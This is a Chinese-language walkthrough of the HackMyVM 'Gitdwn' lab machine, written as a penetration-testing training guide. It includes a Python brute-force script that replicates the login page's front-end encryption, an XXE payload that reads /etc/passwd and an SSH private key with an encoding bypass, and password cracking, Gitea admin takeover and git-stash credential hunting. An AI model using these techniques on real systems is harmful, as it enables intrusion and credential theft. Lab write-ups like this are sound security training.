HackMyVM-Gitdwn 靶机WP
字数 3558
更新时间 2026-03-23 20:17:19
HackMyVM-Gitdwn 靶机渗透测试教学文档
1. 靶机信息
- 靶机名称: Gitdwn
- 靶机链接: https://hackmyvm.eu/machines/machine.php?vm=Gitdwn
- 作者: Sublarge (@MazeSec)
- 系统: Linux
- 难度: Medium
- 核心考点: 前端加密逻辑逆向、XXE漏洞利用、内网服务发现与横向移动、Git信息泄露、权限提升。
2. 信息收集 (Reconnaissance)
目标: 识别目标开放端口、服务及版本信息。
- 端口扫描: 使用
nmap进行全端口扫描,识别服务。nmap -p- -sC -sV -T4 $IP - 扫描结果:
- 22/tcp: OpenSSH 8.4p1
- 80/tcp: Apache 2.4.62,网站标题为 "MazeSec Community - Login"。
- 目录枚举: 使用
feroxbuster对Web服务进行目录扫描,以发现隐藏路径和接口。feroxbuster -u http://$IP --depth=2 -x php,html,txt,zip,bak - 关键发现:
/api/目录存在,目录列表可访问。/api/import.php返回 401 (未授权)。/api/login.php返回 405 (方法不允许)。libs/jsencrypt.min.js和libs/crypto-js.min.js表明网站使用了前端加密。
3. 身份认证绕过 (Initial Access)
目标: 通过复现前端加密逻辑,爆破管理员账户密码。
-
分析前端加密逻辑:
- 检查
login.js和页面引用的加密库。发现登录流程采用混合加密:- 前端生成随机的 AES-128-CBC 密钥和初始向量 (IV)。
- 使用此 AES 密钥加密用户的登录凭据 (
{"username": "...", "password": "..."})。 - 使用一个硬编码在前端的 RSA 公钥,加密上一步生成的 AES 密钥和 IV。
- 将加密后的数据发送到
/api/login.php。
- 知识点: 混合加密 (Hybrid Encryption) 利用 RSA 的非对称性保护 AES 密钥的传输。由于前端加密逻辑和公钥已知,攻击者可完全复现加密过程,对登录接口进行爆破。
- 检查
-
获取管理员用户名:
- 通过分析
dashboard.html等前端页面,猜测或发现管理员用户名为admin。
- 通过分析
-
编写爆破脚本:
- 核心步骤:
- 导入前端使用的 RSA 公钥。
- 从密码字典 (
rockyou.txt等) 读取候选密码。 - 为每个候选密码执行与前端完全一致的加密流程。
- 将加密后的数据包发送到
/api/login.php接口。 - 根据响应判断密码是否正确。
- 关键Python代码逻辑:
import json, base64, os, requests from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5, AES from Crypto.Util.Padding import pad # ... (配置目标URL、用户名、密码字典路径、RSA公钥) def encrypt_payload(username, password): rsa_key = RSA.import_key(raw_pub_key) # 1. 生成随机AES Key和IV aes_key = os.urandom(16) iv = os.urandom(16) # 2. AES加密凭据 creds = json.dumps({"username": username, "password": password}).encode() cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv) ct_bytes = cipher_aes.encrypt(pad(creds, 16)) encrypted_data = base64.b64encode(ct_bytes).decode() # 3. RSA加密AES Key和IV cipher_rsa = PKCS1_v1_5.new(rsa_key) encrypted_key = base64.b64encode(cipher_rsa.encrypt(aes_key + iv)).decode() # 4. 构造最终请求载荷 payload = { "encrypted_key": encrypted_key, "encrypted_data": encrypted_data } return json.dumps(payload) # 对密码字典进行遍历和请求测试
- 核心步骤:
-
结果: 成功爆破出管理员凭据
admin:hotdog。登录后台后,发现存在一个 XML 文件上传功能。
4. 编码绕过与 XXE 漏洞利用
目标: 通过上传 XML 文件利用 XXE 漏洞,读取系统敏感文件 (如 /etc/passwd, SSH 私钥)。
- 初步测试: 尝试上传包含
<!ENTITY xxe SYSTEM "file:///etc/passwd">的 XML Payload,但被系统过滤拦截。 - 编码绕过: 尝试改变 XML 声明的编码,例如从
UTF-8改为UTF-16BE可以绕过检测。- 创建 payload.xml,声明编码为 UTF-16BE。
<?xml version="1.0" encoding="UTF-16BE"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> - 使用
iconv工具将文件转换为 UTF-16BE 编码。iconv -f utf-8 -t utf-16be payload.xml > payload_utf16be.xml
- 创建 payload.xml,声明编码为 UTF-16BE。
- 利用漏洞:
- 通过上传转换后的
payload_utf16be.xml文件,成功读取到/etc/passwd文件内容,确认了git用户的存在。 - 修改 Payload 以读取
/home/git/.ssh/id_rsa(SSH 私钥)。
- 通过上传转换后的
- 获取初始 Shell:
- 成功读取到 SSH 私钥。但该私钥受密码保护。
- 使用
ssh2john和john爆破私钥密码。ssh2john id_rsa > id_rsa.hash john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash - 爆破成功后,使用
ssh -i id_rsa git@$IP并以破解出的私钥密码登录,获得git用户权限。
5. 横向移动 (本地 Gitea 服务利用)
目标: 从低权限的 git 用户提升至系统其他用户权限。
- 内网服务发现:
- 登录后,使用
ss -tulnp或netstat -tulnp查看本地监听的网络服务。 - 发现本地 (
127.0.0.1:3000) 运行着一个 Gitea 服务 (Git 自托管平台)。
- 登录后,使用
- 端口转发:
- 由于 Gitea 只绑定在本地回环地址 (
127.0.0.1),需从攻击机访问。通过 SSH 建立本地端口转发。# 在攻击机上执行,将本地的 3000 端口转发到目标机的 3000 端口 ssh -L 3000:localhost:3000 -i id_rsa git@$IP - 执行后,在攻击机的浏览器访问
http://127.0.0.1:3000即可看到 Gitea 的 Web 界面。
- 由于 Gitea 只绑定在本地回环地址 (
- 获取 Gitea 管理权限:
- 方法一 (命令行工具):在目标机上,Gitea 以
git用户运行,可使用其命令行工具修改管理员密码。/usr/local/bin/Gitea admin user change-password --config /etc/Gitea/app.ini --username admin --password 1qaz@WSX - 方法二 (直接操作数据库):Gitea 使用 SQLite 数据库
/var/lib/Gitea/data/Gitea.db。sqlite3 /var/lib/Gitea/data/Gitea.db # 查看用户 SELECT id, name, is_admin FROM user; # 提权现有用户或修改管理员密码 UPDATE user SET is_admin = 1 WHERE name='your_username';
- 方法一 (命令行工具):在目标机上,Gitea 以
- 信息泄露:
- 以管理员身份登录 Gitea Web 后台。
- 查看仓库设置,在 Web 钩子 (Webhooks) 配置中,发现了一个带 Authorization 头的钩子,其值为
Bearer YmlsaXIhQCM=。 - Base64 解码该值得到
bilir!@#,推测为bilir用户的 SSH 密码。
- 权限提升:
- 使用获取的密码
bilir!@#切换到bilir用户。su bilir # 或 ssh bilir@localhost
- 使用获取的密码
6. 权限提升 (Git 仓库敏感信息泄露)
目标: 从普通用户 bilir 提升至 root 权限。
- 信息枚举:
- 在
bilir用户目录下,发现一个code文件夹,其中包含 Git 仓库。 - 使用
sudo -l检查无可用sudo权限。
- 在
- Git 历史挖掘:
- 进入仓库目录,查看常规提交历史 (
git log --oneline或git log -p) 无敏感发现,仅看到一次init提交,配置文件中的密码字段为[PLACEHOLDER]。
- 进入仓库目录,查看常规提交历史 (
- 发现隐藏的提交:
- 使用
git rev-list --all列出所有提交对象,发现存在三个提交哈希,但git log只显示一个。 - 使用
git log --graph --oneline --all查看完整分支图,发现存在一个refs/stash引用,这是一个由git stash命令创建的“储藏”。
- 使用
- 分析 Stash 对象:
- 查看 stash 的详细内容。
git show 7cbc900 # 假设 7cbc900 是 stash 的提交哈希 - 在差异对比中,发现密码字段从
[PLACEHOLDER]被修改为了明文密码mazesec123123。这个修改被“储藏”起来,没有出现在主分支的常规提交历史中,造成了敏感信息泄露。
- 查看 stash 的详细内容。
- 最终提权:
- 尝试使用发现的密码
mazesec123123切换到root用户。su root # 输入密码: mazesec123123 - 成功获取
root权限,完成整个渗透流程。
- 尝试使用发现的密码
7. 总结与知识点
- 前端加密不可信:任何前端实现的加密(如本靶机的RSA+AES混合加密)都可被逆向和复现,不能替代安全的服务端认证。
- XXE 与编码绕过:当XML解析器支持多种编码时,通过改变编码(如UTF-16BE)可能绕过简单的关键字过滤。
- 内网服务枚举:获取初始立足点后,务必检查本地网络服务和进程 (
ss,netstat,ps)。仅本地可访问的服务(如Gitea:3000)可通过SSH隧道/端口转发暴露出来。 - 横向移动技巧:
- 利用服务自身的管理功能提权(Gitea命令行工具、数据库操作)。
- 仔细检查Web应用的所有配置,如Webhooks、配置文件,常包含硬编码凭证。
- Git 高级信息泄露:
git stash存储的更改是独立的提交对象,不会显示在git log的默认历史中,是极易被忽视的敏感信息藏匿点。- 使用
git show <stash_hash>、git stash list和git log --all --graph来全面审计仓库历史。
- 渗透测试逻辑:遵循“信息收集 -> 初始访问 -> 权限提升/横向移动 -> 最终目标”的链式思维,不放过任何一个配置文件、历史记录、隐藏的服务和进程细节。
相似文章
相似文章